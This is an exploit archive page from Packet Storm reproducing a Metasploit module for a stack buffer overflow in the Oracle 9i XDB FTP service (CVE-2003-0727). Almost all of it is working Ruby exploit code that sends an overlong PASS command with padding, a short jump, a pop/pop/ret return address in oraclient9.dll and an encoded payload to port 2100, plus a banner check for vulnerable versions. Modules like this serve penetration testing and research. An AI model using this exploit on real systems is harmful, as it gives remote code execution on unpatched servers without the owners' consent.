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packetstormMCPACKETSTORM:83144
HistoryNov 26, 2009 - 12:00 a.m.

Oracle 9i XDB FTP PASS Overflow (win32)

2009-11-2600:00:00
MC
packetstormsecurity.com
33

EPSS

0.932

Percentile

99.1%

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Oracle 9i XDB FTP PASS Overflow (win32)',  
'Description' => %q{  
By passing an overly long string to the PASS command, a  
stack based buffer overflow occurs. David Litchfield, has  
illustrated multiple vulnerabilities in the Oracle 9i XML  
Database (XDB), during a seminar on "Variations in exploit  
methods between Linux and Windows" presented at the Blackhat  
conference.  
  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2003-0727'],  
[ 'OSVDB', '2449'],  
[ 'BID', '8375'],  
[ 'URL', 'http://www.blackhat.com/presentations/bh-usa-03/bh-us-03-litchfield-paper.pdf'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 800,  
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",  
'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",   
},  
'Targets' =>  
[  
[  
'Oracle 9.2.0.1 Universal',  
{  
'Platform' => 'win',  
'Ret' => 0x60616d46, # oraclient9.dll (pop/pop/ret)  
},  
],  
],  
'DisclosureDate' => 'Aug 18 2003',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(2100),], self.class)  
deregister_options('FTPUSER', 'FTPPASS')  
  
end  
  
  
def check  
connect  
disconnect   
if (banner =~ /9\.2\.0\.1\.0/)  
return Exploit::CheckCode::Vulnerable  
end   
return Exploit::CheckCode::Safe  
end  
  
def exploit  
connect  
  
user = rand_text_alpha_upper(10)  
sploit = rand_text_alpha_upper(442) + Rex::Arch::X86.jmp_short(6)   
sploit << make_nops(2) + [target.ret].pack('V') + payload.encoded  
  
print_status("Trying target #{target.name}...")   
  
send_cmd( ['USER', user], true )  
send_cmd( ['PASS', sploit], false )  
  
handler  
disconnect  
end  
  
end  
`